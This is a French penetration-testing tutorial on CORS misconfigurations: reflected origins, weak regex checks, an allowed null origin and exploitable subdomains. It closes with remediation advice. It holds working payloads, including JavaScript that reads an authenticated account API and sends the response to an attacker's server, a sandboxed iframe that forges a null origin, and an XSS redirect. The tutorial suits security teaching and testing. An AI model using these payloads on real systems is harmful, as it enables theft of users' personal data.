Avant de présenter des cas pratiques autour des problèmes de CORS, il est important de définir plusieurs points. D’abord, expliquer le principe de la same origin policy (SOP), puisque le mécanisme des CORS vient modifier ces règles en les rendant plus souples. On expliquera ensuite le fonctionnement des CORS. Enfin nous aborderons des cas pratiques de problèmes de configurations.

Qu’est-ce que la Same-Origin Policy (SOP) ?

La Same-Origin Policy (SOP) est une mesure de sécurité intégrée par défaut aux navigateurs web. Son objectif principal est de restreindre l’accès aux ressources web depuis des origines différentes.

Concrètement, cela signifie que le navigateur web de l’utilisateur rejette automatiquement certaines requêtes provenant d’un site web dont le protocole, le port ou le nom d’hôte diffèrent du site d’origine hébergeant la ressource.

Pour illustrer ce mécanisme de sécurité, prenons l’exemple d’une URL, disons, « http://example.com/ » et examinons les résultats de l’application de la SOP :

URLRésultatRaison
http://example.com/*OKSeul le chemin diffère
https://example.com/*KOPas le même protocole
http://example.com:1234/*KOPas le même port

L’importance de la SOP réside dans sa capacité à limiter l’impact d’attaques de type cross-site scripting (XSS) et à contrer l’accès en lecture à d’autres sites (donc prévenir le vol de données entre sites).

Qu’est-ce que le CORS (Cross-Origin Resource Sharing) ?

Il peut y avoir des situations où il est nécessaire d’accéder à des ressources provenant d’origines différentes (API publique par exemple).

Pour répondre à ce besoin, le mécanisme de « Cross-Origin Resource Sharing » (CORS) a été conçu afin d’assouplir la politique de la « Same Origin Policy » (SOP).

Lorsqu’il s’agit de requêtes courantes, le mécanisme CORS introduit des en-têtes HTTP spécifiques pour permettre cette interaction de façon sécurisée.

Parmi les en-têtes les plus importantes, nous trouvons « Access-Control-Allow-Origin » et « Access-Control-Allow-Credentials » :

  • L’en-tête « Access-Control-Allow-Origin » permet d’indiquer si l’origine est autorisée à accéder à la ressource demandée sur le serveur. Elle spécifie généralement un domaine ou une liste de domaines qui sont autorisés à effectuer des requêtes cross-origin vers cette ressource.
  • L’en-tête « Access-Control-Allow-Credentials » permet de déterminer si le serveur autorise les requêtes cross-origin à inclure des informations d’identification, telles que des cookies ou des jetons d’authentification.

Prérequis pour exploiter un problème de CORS 

Avant de chercher à exploiter un problème de CORS, il faut d’abord s’assurer de la présence de certains prérequis.

Tout d’abord, il faut que l’accès aux ressources se fasse avec des cookies et il faut que ces cookies n’aient pas l’option « SameSite » activée. La bonne pratique est donc d’identifier comment la session est gérée par l’application.

Nous avons ensuite besoin de la présence de l’en-tête « Access-Control-Allow-Credentials » dans la réponse HTTP. Cet en-tête permet d’autoriser l’envoi des cookies lors de l’accès aux ressources depuis d’autres origines.

Il arrive aussi que l’on tombe sur le faux positif suivant :

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

C’est une mauvaise implémentation, mais les CORS n’autorisent pas l’envoi de cookies depuis une autre origine lorsque toutes les origines sont autorisées à l’aide d’une wildcard.

Enfin, il faut que l’on puisse modifier l’origine de sorte que l’accès à la ressource soit autorisé depuis d’autres domaines.

Nous verrons plus en détail les techniques nous permettant de faire cela dans cet article.

Exploitations de problèmes de CORS sur des applications web

Origine reflétée

Devoir maintenir une liste blanche de domaines autorisés peut devenir une tâche fastidieuse, en particulier lorsque l’application doit interagir avec de nombreux domaines. Pour simplifier ce processus, certaines applications optent pour une approche plus permissive en autorisant l’accès aux ressources depuis n’importe quel domaine. Elles parviennent à cela en lisant la valeur de l’en-tête « Origin » de la requête entrante et en la reflétant directement dans la réponse du serveur.

Cependant, cette approche comporte des risques, car elle peut potentiellement exposer des données sensibles à des domaines non autorisés. Pour détecter ce comportement, il suffit de modifier l’en-tête « Origin » de la requête et de vérifier si cette modification est répercutée dans la réponse du serveur. Si l’origine est reflétée dans la réponse, cela signifie que l’application est vulnérable et que des domaines non autorisés pourraient accéder à des données sensibles.

Prenons un exemple concret pour illustrer cette situation. Imaginons un serveur hébergé sur le domaine « domain.com » avec un endpoint tel que « /api/v1/account/ » qui renvoie des données sensibles d’utilisateurs d’une application web.

Afin de savoir si l’origine est reflétée, on modifie l’en-tête « origin » avec l’URL «https://test.com».

Requête :

GET /api/v1/account/ HTTP/2
Host: domain.com
Cookie: session=v77QFGNrzt4upa4W0SuxLFMCOKmEibNo
Accept-Encoding: gzip, deflate
Origin: https://test.com

Réponse :

HTTP/2 200 OK
Access-Control-Allow-Origin: https://test.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

{“données sensibles”:”données sensibles”}

En réponse, le serveur reflète notre origine.

Il nous suffit d’héberger le code JavaScript suivant sur notre serveur web.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://domain.com/api/v1/account',true);
req.withCredentials = true;
req.send();

function reqListener() {
   location='/accountleak?='+this.responseText;
};
</script>

Lorsqu’un utilisateur de la plateforme visitera le site hébergeant le code malveillant, il fera une requête vers « https://domain.com/api/v1/account » et retournera la réponse sur le serveur de l’attaquant.

Vérification basée sur une expression régulière

Comme nous l’avons vu, autoriser toutes les origines en reflétant le contenu de l’en-tête est un problème de configuration qui met en danger la sécurité de l’application.  

Les développeurs peuvent donc décider de rajouter une vérification basée sur une expression régulière.

C’est une solution qui peut fonctionner lorsque les expressions régulières sont maitrisées.

Cependant, il arrive que ce ne soit pas le cas, on peut donc se retrouver dans des situations où il est possible de contourner la vérification.

Prenons le cas où l’on voudrait que tous les sous-domaines de « domain.com » soient autorisés. On pourrait imaginer l’expression régulière suivante :

.+domain\.com

Ici le caractère «.» n’est pas échappé. Un attaquant pourrait donc être en mesure de contourner ce filtre en enregistrant le nom de domaine suivant :

bypassdomain.com

Origine null autorisée 

Il n’est pas rare que, lors du développement local d’applications web, l’origine « null » soit ajoutée à la liste blanche des origines autorisées. Cette inclusion de « null » dans la liste blanche peut être une pratique courante pour faciliter le développement et le débogage des applications sur les environnements locaux. Cependant, un problème survient lors du passage de l’application en production : les développeurs peuvent parfois oublier de retirer « null » de la liste blanche.

Afin de déterminer si l’origine « null » est autorisée, il suffit de voir si celle-ci se reflète dans la réponse.

Requête :

GET /api/v1/account/
Host: domain.com
Origin: null

Réponse :

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Pour pouvoir faire des requêtes depuis une origine null, on peut utiliser la balise script combinée à l’attribut « sandbox ».  La suite de l’attaque est similaire à celui d’un problème de CORS classique.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>[Code javascript]</script>"></iframe>

Attaques via des sous-domaines vulnérables

Parfois, les règles des CORS peuvent être configurées de manière à autoriser l’accès aux ressources à partir de n’importe quel sous-domaine d’une application web.

Imaginons l’endpoint « /api/v1/account/ » sur domain.com. En effectuant des tests sur les origines autorisées, on se rend compte que le serveur accepte les requêtes en provenance de n’importe quel sous-domaine de « domain.com ».

Requête :

GET /api/v1/account/ HTTP/2
Host: domain.com
Cookie: session=v77QFGNrzt4upa4W0SuxLFMCOKmEibNo
Accept-Encoding: gzip, deflate
Origin: https://sousdomaine.domain.com

Réponse :

HTTP/2 200 OK
Access-Control-Allow-Origin: https://sousdomaine.domain.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

{“données sensibles”:”données sensibles”}

La sécurité de certains sous-domaines peut être plus laxiste, ce qui en fait une cible privilégiée puisque cela peut conduire à des vulnérabilités de type XSS.

On peut ainsi utiliser une XSS afin de faire des requêtes depuis des sous domaines autorisé par l’application.

Le payload suivant permettrait d’exploiter un tel scénario. Il vient rediriger une victime vers le sous-domaine en incluant du code JavaScript dans un paramètre vulnérable aux XSS.

Il suffit ensuite de remplacer le code à l’intérieur du paramètre vulnérable par celui utilisé dans une attaque abusant d’un problème de CORS classique.

<script>
document.location="http://sousdomaine.domain.com/?parametre_vulnerable=<script>[Code Javascript]</script>"
</script>

Comment prévenir les problèmes de configuration des CORS ?

La remédiation d’un problème de CORS reste assez simple. Dans le cas où l’accès aux données se fait via des cookies, il suffit de maintenir une liste blanche sur des domaines de confiance.

Sinon on peut privilégier une authentification à partir d’en-tête, de cette manière il n’est plus nécessaire d’avoir à gérer une liste blanche.

Enfin il est important de porter une attention particulière à la sécurité globale des domaines mis en liste blanche.

Auteur : Yacine DJABER – Pentester @Vaadata